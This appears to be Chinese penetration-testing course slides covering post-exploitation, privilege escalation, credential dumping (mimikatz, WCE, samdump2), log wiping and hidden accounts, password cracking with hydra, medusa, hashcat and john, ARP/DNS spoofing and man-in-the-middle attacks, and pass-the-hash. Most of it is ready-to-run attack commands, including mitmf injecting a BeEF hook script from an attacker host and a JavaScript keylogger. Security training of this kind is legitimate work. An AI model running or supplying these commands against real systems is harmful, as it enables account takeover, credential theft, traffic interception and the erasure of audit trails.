  • 后漏洞利用阶段
    • 最大的挑战 —— 防病毒软件
    • 使用合法的远程控制软件

漏洞利用后阶段

  • 上传文件
    • 持久控制
    • 扩大对目标系统的控制能力
  • Linux系统
    • netcat
    • curl
    • wget
  • Windows
    • 缺少预装的下载工具

漏洞利用后阶段

  • 非交互模式 shell
    • 类 NC远程控制 shell
    • ftp 192.168.1.1

传输文件

  • Tftp
  • Ftp
  • Vbscript
  • Debug

Q & A

第十章 提权

本地提权

  • 已实现本地低权限账号登录
    • 远程溢出
    • 直接获得账号密码
  • 希望获取更高权限
    • 实现对目标进一步控制

本地提权

  • 系统账号之间权限隔离
    • 操作系统安全的基础
    • 用户空间
    • 内核空间
  • 系统账号
    • 用户账号登陆时获取权限令牌
    • 服务账号无需用户登陆已在后台启动服务

本地提权

  • Windows
    • user
    • Administrator
    • System
  • Linux
    • User
    • Root

ADMIN 提权为 SYSTEM

注入进程提权

抓包嗅探

  • Windows
    • Wireshark
    • Omnipeek
    • commview
    • Sniffpass
  • Linux
    • Tcpdump
    • Wireshark
    • Dsniff

键盘记录

  • Keylogger
  • 木马窃取

本地缓存密码

  • 浏览器缓存的密码
    • IE浏览器
    • Firefox
  • 网络密码
  • 无线密码
  • http://www.nirsoft.net
  • Dump SAM
    • Pwdump
    • /usr/share/windows-binaries/fgdump/
小心了!

WINDOWS 身份认证过程

WCE (WINDOWS CREDENTIAL EDITOR)

  • /usr/share/wce/
  • 需要管理员权限
  • wce-universal.exe -l / -lv
  • wce-universal.exe -d
  • wce-universal.exe -e / -r
  • wce-universal.exe -g
  • wce-universal.exe -w
  • LM/NT hash

WCE (WINDOWS CREDENTIAL EDITOR)

  • 从内存读取LM / NTLM hash
  • Digest Authentication Package
  • NTLM Security Package
  • Kerberos Security Package
  • 防止WCE攻击
  • HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages
    • kerberos
      msv1_
      schannel
      wdigest
      tspkg
      pku2u

其他工具

  • pwdump localhost
  • fgdump
  • mimikatz
    • privilege::debug #提升权限
    • sekurlsa::logonPasswords
    • ::

利用漏洞提权

利用漏洞提权

利用漏洞提权

利用配置不当提权

  • 与漏洞提权相比 更常用的方法
    • 企业环境
    • 补丁更新的全部已经安装
    • 输入变量过滤之外更值得研发关注的安全隐患
    • 以system权限启动
    • NTFS权限允许users修改删除

利用配置不当提权

  • icacls
    • icacls c:\windows*.exe /save perm /T
    • i586-mingw32msvc-gcc -o admin.exe admin.c
  • Find
    • find / -perm 777 -exec ls -l {} ;

利用配置不当提权

  • 应用系统的配置文件
    • 应用连接数据库的配置文件

基本信息收集

  • Linux
    • /etc/resolv.conf
    • /etc/passwd
    • /etc/shadow
    • whoami and who –a
    • ifconfig - a, iptables - L -n, ifconfig – a, netstat – r
    • uname – a, ps aux
    • dpkg - l| head

基本信息收集

  • Windows
    • ipconfig /all , ipconfig /displaydns, netstat - bnao , netstat – r
    • net view , net view /domain
    • net user /domain, net user %username% /domain
    • net accounts, net share
    • net localgroup administrators username /add
    • net group “Domain Controllers” /domain
    • net share name$=C:\ /unlimited
    • net user username /active:yes /domain

WMIC(WINDOWS MANAGEMENT INSTRUMENTATION)

  • wmic nicconfig get ipaddress,macaddress
  • wmic computersystem get username
  • wmic netlogin get name,lastlogon
  • wmic process get caption, executablepath,commandline
  • wmic process where name=“calc.exe” call terminate
  • wmic os get name,servicepackmajorversion
  • wmic product get name,version
  • wmic product where name=“name” call uninstall /nointeractive
  • wmic share get /ALL
  • wmic /node:”machinename” path Win32_TerminalServiceSetting where
    AllowTSConnections=”0” call SetAllowTSConnections “1“
  • wmic nteventlog get path,filename, writeable

收集敏感数据

  • 商业信息
  • 系统信息
  • Linux
    • /etc ;/usr/local/etc
    • /etc/password ;/etc/shadow
    • .ssh ;.gnupg 公私钥
    • The e-mail and data files
    • 业务数据库 ;身份认证服务器数据库
    • /tmp

收集敏感数据

  • windows
    • SAM 数据库 ; 注册表文件
    • %SYSTEMROOT%\repair\SAM
    • %SYSTEMROOT%\System32\config\RegBack\SAM
    • 业务数据库 ; 身份认证数据库
    • 临时文件目录
    • UserProfile\AppData\Local\Microsoft\Windows\Temporary Internet Files\

隐藏痕迹

  • 禁止在登陆界面显示新建账号
  • REG ADD “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\WinLogon\SpecialAccounts\UserList” /v uname /T
REG_DWORD /D 0
  • del %WINDIR%*.log /a/s/q/f
  • History
  • 日志
    • auth.log / secure
    • btmp / wtmp
    • lastlog / faillog
  • 其他日志和 HIDS 等

Q & A

第十一章 无线渗透

无线渗透

  • 与其他章节独立,涵盖面广,可独立成课
  • 无线技术变化快 难度大、
  • 既新鲜刺激又压力山大
  • 一半理论 一半实践
  • 无线技术是本课程难度最大的一章

无线技术特点

  • 行业迅速发展
  • 互联网重要入口
  • 边界模糊
  • 安全实施而且困难
  • 对技术不了解而造成配置不当
  • 企业网络私自接入ap破坏网络边界

802.11标准无线

  • 应用层
  • 表示层
  • 会话层
  • 传输层
  • 网络层
  • 数据链路层
  • 物理层

无线运行模式

  • 无线网络架构
  • AP维护ssid
  • sta维护ssid

无线渗透实操

aircrack-ng基础

  • 无线渗透和审计工具

  • 包含各种功能的工具套件

  • 检查完卡驱动

  • 开启和停止无线真挺

    • airmon check
    • airmon check kill
    • airmon start wlan2 3
    • iwlist wlan2mon channel
    • airmon stop wlan2mon
  • 无线抓包

    • airodump-ng wlan2mon
    • airodump wlan2mon -c 1 –bssid 00:11:22:33:44:55 -w file.cap
    • aireplay -9 wlan2mon
    • airreplay

(未完……)

第十二章 web渗透

第十三章 密码破解

思路

目标系统实施了强安全措施

– 安装了所有补丁
– 无任何已知漏洞
– 无应用层漏洞
– 攻击面最小化

社会工程学

获取目标系统用户身份

– 非授权用户不受信,认证用户可以访问守信资源
– 已有用户账号权限受限,需要提权
– 不会触发系统报警

身份认证方法

证明你是你声称你是的那个人

  • 你知道什么(账号密码、pin、passphrase)
  • 你有什么(令牌、token、key、证书、密宝、手机)
  • 你是谁(指纹、视网膜、虹膜、掌纹、声纹、面部识别)
  • 以上方法结合使用(多因素身份认证)

基于互联网的身份验证仍以账号密码为主要形式

密码破解方法

人工猜解

– 垃圾桶工程
– 被动信息收集

基于字典暴力破解(主流)

键盘空间字符暴破

字典

– 保存有用户名和密码的文本文件
  • /usr/share/wordlist
  • /usr/share/wfuzz/wordlist
  • /usr/share/seclists

字典

键盘空间字符爆破

– 全键盘空间字符
– 部分键盘空间字符 (基于规则)
– 数字、小写字母、大写字母、符号、空格、瑞典字符、高位ASCII码

crunch [] [options]

  • 默认是小写字符

crunch 6 6 0123456789 -o START -d 2 -b 1mb / -c 100

  • -b 按大小分割字典文件(kb/kib、mb/mib、gb/gib)
  • -c 每个字典的行数
  • 以上两个参数必须与-o START 结合使用
  • -d 同一字符连贯出现数量(11 / aaa)

字典

字符集

  • crunch 4 4 -f /usr/share/crunch/charset.lst lalpha-sv-o 1.txt

无重复字符

  • crunch 1 1 -p 1234567890 | more
  • 必须是最后一个参数
  • 最大、最小字符长度失效,但必须存在
  • 与-s 参数不兼容(-s 指定起始字符串)
  • crunch 4 4 0123456789 -s 9990

读取文件中每行内容作为基本字符生成字典

  • crunch 1 1 -q read

字典

字典组成规则

  • crunch 6 6 -t @,%%^^ | more
  • @:小写字母 lalpha
  • ,:大写字母 ualpha
  • %:数字 numeric
  • ^:符号 symbols

输出文件压缩

  • crunch 4 4 -t @,%^ -o 1.txt -z 7z
  • 其他压缩格式:gzip、bzip2、lzma
  • 7z压缩比率最大

字典

crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha-

numeric-all-space -o w.txt -t @d@@ -s cdab

crunch 4 5 -p dog cat bird

crunch 5 5 abc DEF + !@# -t ,@^%,

– + 占位符
– \ 转义符(空格、符号)

crunch 5 5 -t ddd%% -p dog cat bird

  • 任何不同于-p 参数指定的值都是占位符

crunch 5 5 -d 2@ -t @@@%%

字典

组合应用

  • crunch 2 4 0123456789 | aircrack-ng a.cap -e MyESSID -w -
  • crunch 10 10 12345 –stdout| airolib-ng testdb -import passwd-

字典

按个人信息生成其专属的密码字典

CUPP:Common User Password Profiler

字典

通过收集网站信息生成字典

cewl 1.1.1.1 -m 3 -d 3 - e -c -v -w a.txt

  • -m:最小单词长度
  • -d:爬网深度
  • -e:收集包含email地址信息
  • -c:每个单词出现次数
  • 支持基本、摘要 身份认证
  • 支持代理

字典

用户密码变型

  • 基于 cewl 的结果进行密码变型
  • 末尾增加数字串
  • 字母大小写变化
  • 字母与符号互相转换
  • 字母与数字互相转换
  • P@$$w0rd

字典

使用 John the Ripper 配置文件实现密码动态变型

/etc/john/john.conf

  • [List.Rules:Wordlist]
  • $[ 0 - 9]$[0-9]$[0- 9 ]
  • john –wordlist=cewl.txt –rules –stdout > m.txt
  • [List.Rules:test]
    $[0-9]$[0-9]$[0-9]$[a-zA-Z]
    $[0-9]$[0-9]$[0-9]$[a-zA-Z]$[a-zA-Z]$[a-zA-Z]$[`~!@#$%^&*()-_=+]
  • john –wordlist=cewl.txt –rules=test –stdout > m.txt
  • john –wordlist=ahm.lst –rules=test HASHFILE

在线密码破解——hydra

Hydra

– 九头蛇,砍去一个头即长出新头,后为大力神赫拉克勒斯所杀

在线密码破解——hydra

Windows密码破解

  • hydra -l administrator -P pass.lst smb://1.1.1.1/admin$ -vVd
  • hydra -l administrator -P pass.lst rdp://1.1.1.1 -t 1 -vV

Linux密码破解

  • hydra -l root -P pass.lst ssh://1.1.1.1 -vV

其他服务密码破解

  • hydra -L user.lst -P pass.lst ftp://1.1.1.1 -s 2121 -e nsr -o p.txt -t 64

图形化界面

  • xhydra

在线密码破解——hydra

HTTP表单身份认证

  • hydra -l admin -P pass.lst 1.1.1.1 http-post-form
    “/dvwa/login.php:username=^USER^&password=^PASS^&Login=L
    in:S=index.php” -V
  • hydra -l admin -P pass.lst 1.1.1.1 http-post-form
    “/dvwa/login.php:username=^USER^&password=^PASS^&Login=L
    in:LoginFailed” -V
  • /foo.php:user=^USER^&pass=^PASS^:S=success:C=/page/cookie:H
    =X-Foo: Foo
     C:先访问指定页面取得cookie
     H:指定http头
  • https-post-form、http-get-form、https-get-form
  • -S:使用SSL连接

在线密码破解——hydra

pw-inspector

– 按长度和字符集筛选字典
  • pw-inspector -i /usr/share/wordlists/nmap.lst -o p.lst -l
  • pw-inspector -i /usr/share/wordlists/nmap.lst -o P.lst -u

密码破解效率

– 密码复杂度(字典命中率)
– 带宽、协议、服务器性能、客户端性能
– 锁定阈值
– 单位时间最大登陆请求次数

在线密码破解——medusa

Hydra 的缺点

– 稳定性差,程序时常崩溃
– 速度控制不好,容易触发服务屏蔽或锁死机制
– 每主机新建进程,每服务新建实例
– 大量目标破解时性能差

Medusa 的特点

– 稳定性好
– 速度控制得当
– 基于线程
  • 支持模块少于hydra(不支持RDP)
  • WEB-Form支持存在缺陷

在线密码破解——medusa

medusa -d

破解windows密码

  • medusa -M smbnt -h 1.1. 1 .1 -u administrator -P pass.lst -e ns -F

破解Linux SSH密码

  • medusa -M ssh -h 192.168.20.10 -u root -P pass.lst -e ns –F

其他服务密码破解

  • medusa -M mysql-h 1.1.1.1 -u root -P pass.lst -e ns -F
  • medusa -h 1.1.1.1 -u admin -P pass.lst -M web-form -m
    FORM:”dvwa/login.php” -m DENY-SIGNAL:”login.php” -m FORM-
    DATA:”post?user=username&pass=password&Login=Login”

在线密码破解——medusa

-n:非默认端口

-s:使用SSL连接

-T:并发主机数

medusa -M ftp -q

离线密码破解

身份认证

– 禁止明文传输密码
– 每次认证使用HASH算法加密密码传输(HASH算法加密容易、解密困难)
– 服务器端用户数据库应加盐加密保存

破解思路

– 嗅探获取密码HASH
– 利用漏洞登陆服务器并从用户数据库获取密码HASH
– 识别HASH类型
1
 长度、字符集
  • 利用离线破解工具碰撞密码HASH

离线密码破解

优势

– 离线不会触发密码锁定机制
– 不会产生大量登陆失败日志引起管理员注意

HASH识别工具

  • hash‐identifier
  • Hashid
  • 可能识别错误或无法识别

离线密码破解

Windows HASH获取工具

  • 利用漏洞:Pwdump、fgdump、mimikatz、wce
  • 物理接触:samdump2
  • Kali ISO 启动虚拟机
  • mount /dev/sda1 /mnt
  • cd /mnt/Windows/System32/config
  • samdump2 SYSTEM SAM -o sam.hash
  • 利用nc传输HASH

离线密码破解

Syskey工具

  • 使用Bootkey利用RC4算法加密SAM数据库
  • Bootkey保存于SYSTEM文件中
  • Bkhive
     从SYSTEM文件中提取bootkey
     Kali 2.0 抛弃了bkhive
     编译安装 :http://http.us.debian.org/debian/pool/main/b/bkhive/
     bkhive SYSTEM key
     samdump2 SAM key (版本已更新,不再支持此功能)
  • 建议使用Kali 1.x

离线密码破解——Hashcat

开源多线程密码破解工具

支持 80 多种加密算法破解

基于CPU的计算能力破解

六种模式

  • 0 Straight:字典破解
  • 1 Combination:将字典中密码进行组合(1 2 > 11 22 12 21)
  • 2 Toggle case:尝试字典中所有密码的大小写字母组合
  • 3 Brute force:指定字符集(或全部字符集)所有组合
  • 4 Permutation:字典中密码的全部字符置换组合(12 21)
  • 5 Table-lookup:程序为字典中所有密码自动生成掩码

离线密码破解——Hashcat

命令

  • hashcat -b
  • hashcat -m 100 hash.dump pass.lst
  • hashcat -m 0 hash.txt -a 3 ?l?l?l?l?l?l?l?l?d?d
  • 结果:hashcat.pot
  • hashcat -m 100 -a 3 hash -i –increment-min 6 –increment-max
    8 ?l?l?l?l?l?l?l?l
  • ?l = abcdefghijklmnopqrstuvwxyz
  • ?u = ABCDEFGHIJKLMNOPQRSTUVWXYZ
  • ?d = 0123456789
  • ?s = !”#$%&’()*+,-./:;<=>?@[]^_`{|}~
  • ?a = ?l?u?d?s
  • ?b = 0x00 -0xff

离线密码破解——oclhashcat

号称世界上最快、唯一的基于GPGPU的密码破解软件

免费开源、支持多平台、支持分布式、150+hash算法

硬件支持

– 虚拟机中无法使用
  • 支持 CUDA 技术的Nvidia显卡
  • 支持 OpenCL 技术的AMD显卡
  • 安装相应的驱动

限制

– 最大密码长度 55 字符
  • 使用Unicode的最大密码长度 27 字符

离线密码破解——oclhashcat

关于版本

  • oclHashcat-plus、oclHashcat-lite已经合并为oclhashcat

命令

  • oclHashcat -m 0 hash.txt -a 3 ?a?a?a?a?a?a?a
  • ?l = abcdefghijklmnopqrstuvwxyz
  • ?u = ABCDEFGHIJKLMNOPQRSTUVWXYZ
  • ?d = 0123456789
  • ?s = !”#$%&’()*+,-./:;<=>?@[]^_`{|}~
  • ?a = ?l?u?d?s
  • ?b = 0x00 -0xff

离线密码破解——RainbowCrack

基于时间记忆权衡技术生成彩虹表

提前计算密码的HASH值,通过比对HASH值破解密码

计算HASH的速度很慢,修改版支持CUDA GPU

KALI 中包含的RainbowCrack工具

  • rtgen:预计算,生成彩虹表,耗时的阶段
  • rtsort:对rtgen生成的彩虹表进行排序
  • rcrack:查找彩虹表破解密码
  • 以上命令必须顺序使用

离线密码破解——RainbowCrack

彩虹表

– 密码明文、HASH值、HASH算法、字符集、明文长度范围

rtgen

  • LanMan、NTLM、MD2、MD4、MD5、SHA1、RIPEMD160
  • rtgen md5 loweralpha 1 5 0 10000 10000 0
  • 计算彩虹表时间可能很长

下载彩虹表

离线密码破解——RainbowCrack

彩虹表排序

  • /usr/share/rainbowcrack
  • rtsort /md5_loweralpha#1-5_0_1000x1000_0.rt

密码破解

  • rcrack *.rt -h 5d41402abc4b2a76b9719d911017c592
  • rcrack *.rt -l hash.txt

离线密码破解——John

支持众多服务应用的加密破解

  • john –list=formats

支持某些对称加密算法破解

模式

  • Wordlist:基于规则的字典破解
  • Single crack:默认被首先执行,使用Login/GECOS信息尝试破解
  • Incremental:所有或指定字符集的暴力破解
  • External:需要在主配配文件中用C语言子集编程

离线密码破解——John

默认破解模式

  • Single、wordlist、incremental
  • 主配置文件中指定默认wordlist

破解Linux系统账号密码

  • unshadow /etc/passwd/etc/shadow > pass.txt
  • john pass.txt
  • john –show pass

离线密码破解——John

破解windows密码

  • john sam.dump –wordlist=password.lst–format=nt
  • john sam.dump –format=nt –show

Johnny 图形化界面的john

离线密码破解——Ophcrack

基于彩虹表的LM、NTLM密码破解软件

彩虹表:http://ophcrack.sourceforge.net/tables.php

离线密码破解——Ophcrack

在线密码破解

密码嗅探

二、三层地址

– IP 网络到网络
– MAC 主机到主机

交换机与HUB

– HUB全端口转发
– 交换机根据学习地址转发
– 混杂模式抓包

密码嗅探

ARP协议

– 免费ARP
– 基于广播学习
– 以太网头、ARP头
– 请求、响应相对独立
– 基于传闻的协议

密码嗅探

手动修改数据包实现ARP欺骗

arpspoof

  • echo 1 > /proc/sys/net/ipv4/ip_forward
  • arpspoof -t 1.1.1.12 -r 1.1.1.1

网络嗅探

  • driftnet -i eth0 -a -d tempdir-s
  • dnsspoof -i eth0 -f /usr/share/dsniff/dnsspoof.hosts
  • urlsnarf -i eth0
  • webspy -i eth0 1.1.1.10
  • dsniff -i eth0 -m
     /usr/share/dsniff/dsniff.services

密码嗅探

DNS欺骗代理

将被害者DNS指向伪造的DNS服务器

中间人攻击

注入XSS

  • 即使没有XSS漏洞,也可以凌空向每个HTTP请求中注入XSS攻击代码
  • 一旦得手,影响范围巨大
  • 如果中间人发生在运营商线路上,很难引起用户注意

Mitmf 安装

  • 曾经号称最好用的中间人攻击工具(kali 2.0后默认未安装)
  • apt-get install python-dev python-setuptools libpcap0.8-dev libnetfilter-
    queue-dev libssl-dev libjpeg-dev libxml2-dev libxslt1-dev libcapstone3
    libcapstone-dev libffi-dev file
  • apt-get install mitmf
  • pip uninstall twisted
  • wget http://twistedmatrix.com/Releases/Twisted/15.5/Twisted-
    15.5.0.tar.bz2
  • pip install ./Twisted-15.5.0.tar.bz2

中间人攻击

启动beef

  • cd /usr/share/beef-xss/
  • ./beef

mitmf中间人注入xss脚本

  • mitmf –spoof –arp-i eth0 –gateway 1.1.1.1 –target 1.1.1.2 –inject
    –js-url http://1.1.1.3:3000/hook.js
  • mitmf –spoof –arp-i eth0 –gateway 192.168.20.2 –target
    192.168.20.1 –jskeylogger
  • –upsidedownternet、–screen(/var/log/mitmf)
  • –ferretng(cookie)、–browserprofiler(浏览器及插件信息)
  • –smbtrap、–smbauth(不演示)

中间人攻击

–hsts

  • HTTP Strict Transport Security
  • 防止协议降级、cookie窃取
  • 安全策略通过HTTP响应头”Strict-Transport-Security“实施
  • 限制user-agent、https等

–filepwn

– 凌空插后门

中间人攻击

Ettercap

– 统一的中间人攻击工具
– 转发MAC与本机相同,但IP与本机不同的数据包
– 支持SSH1、SSL中间人攻击

模块划分

  • Snifer
  • MITM
  • Filter
  • Log
  • Plugin

中间人攻击

Snifer

– 负责数据包转发
  • Unified
     单网卡情况下独立完成三层包转发
     始终禁用内核IP_Forward功能
  • Bridge
     双网卡情况下的一层MITM模式
     可作为IPS过滤数据包
     不可在网关上使用(透明网桥)

MITM

  • 把流量重定向到ettercap主机上
  • 可以使用其他工具实现MITM,ettercap之作嗅探和过滤使用

中间人攻击

实现MITM的方法

– ARP
– ICMP
1
 ICMP路由重定向,半双工
  • DHCP
     修改网关地址,半双工
  • Switch Port Stealing
     flood目标地址是本机,源地址是受害者的包
     适用于ARP静态绑定的环境
  • NDP
     IPv6协议欺骗技术

中间人攻击

2.4以上内核对ARP地址欺骗的约束

– 收到非请求的ARP响应包,不更新本地ARP缓存
  • Ettercap使用ARP request包进行攻击

Solaris 不根据ARP包更新本地ARP缓存

  • Ettercap使用先发ICMP包来更新ARP缓存

中间人攻击

用户操作界面

– -T 文本界面
– -G 图形界面
– -C 基于文本的图形界面
– -D 后台模式

指定目标

  • IPv4:MAC/IPs/Ports
  • IPv6:MAC/IPs/IPv6/Ports
  • /10.0.0.1−5;10.0.1.33/20−25,80,110

中间人攻击

权限

  • 需要root权限打开链路层Socket连接,然后使用nobody账号运行
  • 日志写入目录需要nobody有写入权
  • 修改etter.conf:EC_UID=65534

 基于伪造证书的SSL MITIM

  • Bridge模式不支持SSL MITM
  • openssl genrsa −out etter.ssl.crt 1024
  • openssl req −new−keyetter.ssl.crt −out tmp.csr
  • openssl x509 −req−days 1825 −in tmp.csr−signkey etter.ssl.crt
    −out tmp.new
  • cat tmp.new>>etter.ssl.crt
  • rm −f tmp.newtmp.csr

ARP MITM

字符模式

  • ettercap -i eth0 -T -M arp-q /192.168.1.1// /192.168.1.2// -F 1.ef -P
    autoadd -w a.cap -l loginfo -L logall-m message

图形界面

SSL MITM

  • vi /etc/ettercap/etter.conf

DNS欺骗

  • dns_spoof插件配置文件
  • vi /etc/ettercap/etter.dns

ARP MITM

Ettercap 日志查看

  • etterlog -p log.eci 查看获取的密码
  • etterlog -c log.ecp 列出Log中的连接
  • etterlog -c -f /1.1.1.1/ log.ecp
  • etterlog -B -n -s -F TCP:1.1.1.1:20:1.1.1.2:1234 log.ecp> aa
    选择相应的连接并榨取文件

ARP MITM

Filter

  • /usr/share/ettercap/

SSH-2.xx / SSH-1.99 / SSH-1.51

  • etterfilter etter.filter.ssh -o ssh.ef

替换HTTP内容

中间人攻击

ICMP

  • -M icmp:00:11:22:33:44:55/10.0.0.1(真实网关的MAC/IP)

DHCP

  • −M dhcp:192.168.0.30,35,50−60/255.255.255.0/192.168.0.1(DNS)

Port

  • -M port /1.1.1.1/ /1.1.1.2/

Ndp

  • -M ndp //fe80::260d:afff:fe6e:f378/ //2001:db8::2:1/

Pass the Hash (PTH)

密码破解耗费时间资源巨大

使用密文提交给服务器直接完成身份认证

NTLM/LM是没有加盐的静态HASH密文

企业中使用ghost等工具克隆安装系统

pth-winexe -U

w7%aad3b435b51404eeaad3b435b51404ee:ed1bfaeb3063

716ab7fe2a11faf126d8 //1.1.1.1 cmd